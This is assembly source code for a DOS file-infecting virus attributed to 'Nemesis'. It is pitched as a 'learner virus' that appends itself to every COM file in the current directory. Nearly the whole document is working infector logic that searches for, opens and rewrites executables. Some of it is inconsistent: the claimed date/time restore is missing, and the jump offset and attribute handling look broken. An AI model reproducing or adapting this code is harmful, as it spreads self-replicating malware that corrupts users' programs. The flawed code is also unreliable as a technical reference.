;
;  It's as Easy as 1-2-3-4? Virus by Nemesis, Circa 1993? Maybe?
;
;  This is a hack of a hack of a hack. But it works, and is a good learner
;  virus. It infects all COM files in the current directory (including itself)
;  by appending to them. It restores the date/time stamp.
;
;  Don't rag the code too bad :) heheh.
;


code    segment public 'code'
        assume  cs:code, ds:code, es:code
        org     100h

start:  db 0e9h,0,0                          ; Jump to Next Command

virus:
        call    realcode

realcode:
        pop bp
        sub bp, offset realcode

        mov     si,offset oldjump            ; Restore
        mov     di,100h                      ; COM
        movsb
        movsw

        mov     dx,offset dta                ; Set DTA
        mov     ah,1Ah
        int     21h

        push    cs
        pop     es

        mov     dx,offset comfilespec

findfirst:
        mov     ah,4eh                      ; First File
        mov     cx,7                        ; All Attributes

findnext:
        int     21h
        jc      quit
        call    infection
        mov     ah,4fh
        jmp     short findnext

quit:
        ret

infection:
        mov     ax,3d00h
        mov     dx,offset dta+30
        int     21h
        xchg    ax,bx                       ; BX Holds File Handle

        mov     ah,3fh                      ; Read File
        mov     cx,1ah                      ; This Many Bytes
        mov     dx,offset buffer            ; Into Buffer
        int     21h                         ; Clique

        mov     ah,3eh                      ; Close File Function
        int     21h                         ; Clique


InfectCom:
        sub     bx,3
        mov     si,offset buffer
        mov     di,offset oldjump
        movsw
        movsb
        mov     buffer,byte ptr 0e9h
        mov     word ptr offset buffer+1,bx

FinishInfection:

        mov     ax,3D02h
        mov     dx,offset dta+30            ; ASCIIZ File Name
        int     21h                         ; 
        xchg    ax,bx                       ; 

        mov     ah,40h
        mov     dx,offset buffer
        mov     cx,3h                       ; 
        int     21h                         ; 
        jc      closefile                   ; 

        mov     ax,4202h                    ; Move FP
        xor     cx,cx                       ; CX=0                  
        cwd                                 ; DX=0                  
        int     21h                         ; Call DOS Function     

        mov     ah,40h                      ; Write To File         
        mov     cx,heap-virus                ; # of Bytes to Write
        mov     dx,offset virus
        int     21h                         ; Call Dos Function     

closefile:

        mov     ah,3eh                      ; Close
        int     21h

        xor     cx,cx
        mov     cl,byte ptr offset dta+15h  ; Attributes of File
        mov     ax,4301h
        mov     dx,offset dta+30
        retn

comfilespec  db  '*.com',0
oldjump      db  0cdh,020h,0h

heap:

dta     db      42   dup (?)
buffer  db      1ah  dup (?)

code    ends
        end     start

